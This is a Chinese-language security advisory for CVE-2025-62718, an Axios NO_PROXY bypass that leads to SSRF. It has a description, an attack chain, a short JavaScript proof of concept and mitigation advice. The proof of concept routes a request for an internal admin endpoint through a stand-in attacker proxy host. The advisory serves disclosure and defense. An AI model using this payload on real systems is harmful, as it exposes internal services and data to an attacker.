IPBUF安全漏洞报告
English
CVE-2025-62718 CVSS 9.9 严重

CVE-2025-62718 Axios代理绕过与SSRF漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2025-62718
漏洞类型
SSRF, 代理绕过
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axios

相关标签

SSRFProxy BypassAxiosNode.jsCVE-2025-62718Critical

漏洞概述

Axios是流行的Promise-based HTTP客户端。在1.15.0和0.31.0之前的版本中,Axios在检查NO_PROXY规则时存在主机名规范化处理错误。当请求目标是`localhost.`(带尾随点)或`[::1]`等环回地址时,系统会错误地跳过NO_PROXY匹配逻辑,强制请求通过配置的代理服务器。这一行为违背了开发者利用NO_PROXY保护内部服务的预期,导致攻击者可利用该缺陷绕过安全限制,通过代理发起请求,进而引发代理绕过和服务端请求伪造(SSRF)风险,使内网敏感服务暴露在攻击之下。

技术细节

该漏洞的核心在于Axios库对主机名解析和NO_PROXY环境变量匹配机制的实现缺陷。通常,开发者设置`NO_PROXY=localhost`是为了让对本地环回地址的请求直接发送,而不经过外部代理。然而,Axios在旧版本中未对主机名进行充分的规范化处理。攻击者可以通过在请求URL中使用带有尾随点的域名(如`http://localhost.`)或IPv6字面量`[::1]`,欺骗Axios的匹配算法。由于规范化逻辑的缺失,Axios无法识别这些变体与NO_PROXY列表中的条目相匹配,从而导致本应直连的内部请求被错误地路由到了配置的HTTP代理上。攻击者利用这一特性,可以结合SSRF攻击技术,通过受控的代理服务器探测或攻击应用服务器背后的内网资源,如元数据服务、管理端口等,从而绕过基于网络隔离或NO_PROXY配置的防御体系。修复方案已在1.15.0和0.31.0版本中发布,完善了主机名规范化逻辑。

攻击链分析

STEP 1
侦察
攻击者确认目标应用使用Axios库,且配置了HTTP代理和NO_PROXY规则以保护内部地址。
STEP 2
漏洞利用
攻击者向目标应用发送包含特殊格式URL的请求,例如使用带尾随点的`http://localhost.`或IPv6格式`[::1]`。
STEP 3
绕过检测
由于Axios未正确规范化主机名,NO_PROXY匹配失败,请求被错误地转发到配置的代理服务器。
STEP 4
SSRF攻击
代理服务器将请求转发至内部的环回地址或敏感服务,攻击者借此读取本地元数据或进行内网扫描。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-62718: Axios NO_PROXY Bypass // Environment variables set: // HTTP_PROXY=http://malicious-proxy.com:8080 // NO_PROXY=localhost const axios = require('axios'); async function exploit() { try { // Standard requests to localhost usually respect NO_PROXY // But using a trailing dot bypasses the check in vulnerable versions const targetUrl = 'http://localhost./admin/config'; console.log(`Sending request to: ${targetUrl}`); // In vulnerable versions, this request goes through the malicious proxy // despite NO_PROXY being set to 'localhost' const response = await axios.get(targetUrl); console.log('Request Successful!'); console.log('Status:', response.status); console.log('Data:', response.data); } catch (error) { console.error('Exploit Failed:', error.message); } } exploit();

影响范围

Axios < 1.15.0
Axios < 0.31.0

防御指南

临时缓解措施
如果无法立即升级,建议在应用网关或WAF层面拦截包含尾随点(如`localhost.`)或IPv6字面量格式的请求URL,或者在代码中对外部输入的目标URL进行清洗和规范化处理,去除多余的特殊字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表